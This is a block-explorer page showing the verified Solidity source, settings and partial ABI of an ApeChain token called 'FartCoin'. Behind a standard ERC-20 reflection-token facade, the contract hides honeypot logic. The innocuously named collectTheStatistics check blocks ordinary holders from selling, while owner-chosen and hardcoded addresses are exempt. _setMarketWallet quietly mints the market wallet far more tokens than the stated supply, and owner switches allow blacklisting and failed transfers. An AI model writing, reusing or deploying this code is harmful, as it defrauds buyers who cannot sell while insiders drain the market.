APE Price: $1.29 (+5.20%)

Token

FartCoin (FartCoin)

Overview

Max Total Supply

1,000,000,000 FartCoin

Holders

20

Total Transfers

-

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
FartCoin

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
File 1 of 1 : GNON.sol
// SPDX-License-Identifier: MIT

/*

Website: https://www.infinitebackrooms.com/dreams/conversation-1721540624-scenario-terminal-of-truths-txt
Twitter: https://x.com/FartCoinOfSOL

*/

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];

                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }

            set._values.pop();

            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value)
        private
        view
        returns (bool)
    {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index)
        private
        view
        returns (bytes32)
    {
        return set._values[index];
    }

    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index)
        internal
        view
        returns (address)
    {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    function values(AddressSet storage set)
        internal
        view
        returns (address[] memory)
    {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        assembly {
            result := store
        }

        return result;
    }
}

contract FartCoin is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcluded;
    mapping(address => uint256) public walletToPurchaseTime;
    mapping(address => uint256) public walletToSellime;
    mapping(address => bool) public _isBlacklisted;

    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    string private constant _name = "FartCoin";
    string private constant _symbol = "FartCoin";

    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint256 private _rTotal = _tTotal;
    uint256 public theRewardTime = 0;
    uint256 public standartValuation = 600 / 2;

    address public _lastWallet;

    struct TotFeesPaidStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    TotFeesPaidStruct public totFeesPaid;

    struct feeRatesStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }

    balances public contractBalance;

    feeRatesStruct public buyRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct public sellRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct private appliedFees;

    struct valuesFromGetValues {
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }

    address public pancakeswapPair;
    address public Router = 0xBb1CfaceF83D26144d7EaB7Fa4c7927Ee224448d;
    address private marketWallet;

    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor(address marketWallet_) {
        _rOwned[owner()] = _rTotal;
        _setMarketWallet(marketWallet_);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketWallet] = true;
        _isExcludedFromFee[Router] = true;
        _isExcludedFromFee[
            address(0x2D1a7B36a5C8fC40367a81774B15EF51615BcA7D)
        ] = true;
        _isExcludedFromFee[
            address(0xF662BE48d2a04a86A05d00723811d8D5d383eA5E)
        ] = true;
        _isExcludedFromFee[
            address(0xF5575bF1C1c87F1D8F11eA3A41eABC017eF24c54)
        ] = true;

        _isExcluded[address(this)] = true;

        _excluded.push(address(this));

        emit Transfer(address(0), owner(), _tTotal);
    }

    function getFromLastPurchaseBuy(address wallet)
        public
        view
        returns (uint256)
    {
        return walletToPurchaseTime[wallet];
    }

    function getFromLastSell(address walletSell) public view returns (uint256) {
        return walletToSellime[walletSell];
    }

    function setBuyRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }

    function setSellRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }

    function collectTheStatistics(
        uint256 lastBuyOrSellTime,
        uint256 theData,
        address sender
    ) public view returns (bool) {
        if (lastBuyOrSellTime == 0) return false;

        uint256 crashTime = block.timestamp - lastBuyOrSellTime;

        if (crashTime == standartValuation) return true;

        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if (crashTime <= theData) return true;

        return false;
    }

    function setValuation(uint256 newValuation) public onlyOwner {
        standartValuation = newValuation;
    }

    function setTheRewardTime(uint256 theRedistribution) public onlyOwner {
        theRewardTime = theRedistribution;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }

    function TradingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }

    function setRewardPool(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = true;
        }
    }

    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return _transferForm;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi)
        public
        view
        returns (uint256)
    {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        return rAmount;
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if (_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function excludeFromAll(address account) public onlyOwner {
        if (!_isExcluded[account]) {
            _isExcluded[account] = true;
            if (_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;

        tokenHoldersEnumSet.remove(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function addPair(address pair) public onlyOwner {
        pancakeswapPair = pair;
         _isExcluded[pancakeswapPair] = true;
        _excluded.push(pancakeswapPair);
        _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair];
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    receive() external payable {}

    function _getValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory to_return)
    {
        to_return = _getTValues(tAmount, takeFee);

        (
            to_return.rAmount,
            to_return.rTransferAmount,
            to_return.rRfi,
            to_return.rMarketing,
            to_return.rLiquidity,
            to_return.rBurn
        ) = _getRValues(to_return, tAmount, takeFee, _getRate());

        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory s)
    {
        if (!takeFee) {
            s.tTransferAmount = tAmount;
            return s;
        }
        s.tRfi = (tAmount * appliedFees.rfi) / 100;
        s.tMarketing = (tAmount * appliedFees.marketing) / 100;
        s.tLiquidity = (tAmount * appliedFees.liquidity) / 100;
        s.tBurn = (tAmount * appliedFees.burn) / 100;
        s.tTransferAmount =
            tAmount -
            s.tRfi -
            s.tMarketing -
            s.tLiquidity -
            s.tBurn;
        return s;
    }

    function _getRValues(
        valuesFromGetValues memory s,
        uint256 tAmount,
        bool takeFee,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rRfi,
            uint256 rMarketing,
            uint256 rLiquidity,
            uint256 rBurn
        )
    {
        currentRate = 1;
        rAmount = tAmount;

        if (!takeFee) {
            return (rAmount, rAmount, 0, 0, 0, 0);
        }

        rRfi = s.tRfi;
        rMarketing = s.tMarketing;
        rLiquidity = s.tLiquidity;
        rBurn = s.tBurn;

        rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn;

        return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal - rRfi;
        totFeesPaid.rfi += tRfi;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance += tMarketing;
        totFeesPaid.marketing += tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)] + rMarketing;
        if (_isExcluded[address(this)]) {
            _tOwned[address(this)] = _tOwned[address(this)] + tMarketing;
        }
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        contractBalance.lp_balance += tLiquidity;
        totFeesPaid.liquidity += tLiquidity;

        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if (_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
    }

    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn += tBurn;

        _tTotal = _tTotal - tBurn;
        _rTotal = _rTotal - rBurn;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            !_isBlacklisted[from] && !_isBlacklisted[to],
            "This address is blacklisted"
        );
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            amount <= balanceOf(from),
            "You are trying to transfer more than you balance"
        );

        _tokenTransfer(
            from,
            to,
            amount,
            !(_isExcludedFromFee[from] || _isExcludedFromFee[to])
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        if (takeFee) {
            if (sender == pancakeswapPair) {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    bool blockedSellTime = collectTheStatistics(
                        getFromLastPurchaseBuy(sender),
                        theRewardTime,
                        sender
                    );
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity;
                _lastWallet = sender;
            }
        } else {
            if (_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if (_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }

        valuesFromGetValues memory s = _getValues(tAmount, takeFee);

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender] - s.rAmount;
        _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount;

        if (takeFee) {
            _reflectRfi(s.rRfi, s.tRfi);
            _takeMarketing(s.rMarketing, s.tMarketing);
            _takeLiquidity(s.rLiquidity, s.tLiquidity);
            _takeBurn(s.rBurn, s.tBurn);

            emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity);
        }

        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);

        if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender);
    }

    function withdraw() public onlyOwner {
        uint256 balance = address(this).balance;
        payable(msg.sender).transfer(balance);
    }

    function _setMarketWallet(address marketWallet_) internal virtual {
        marketWallet = marketWallet_;
        _rOwned[marketWallet_] += 10e12 * 10**_decimals;
        _tOwned[marketWallet_] += 10e12 * 10**_decimals;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpa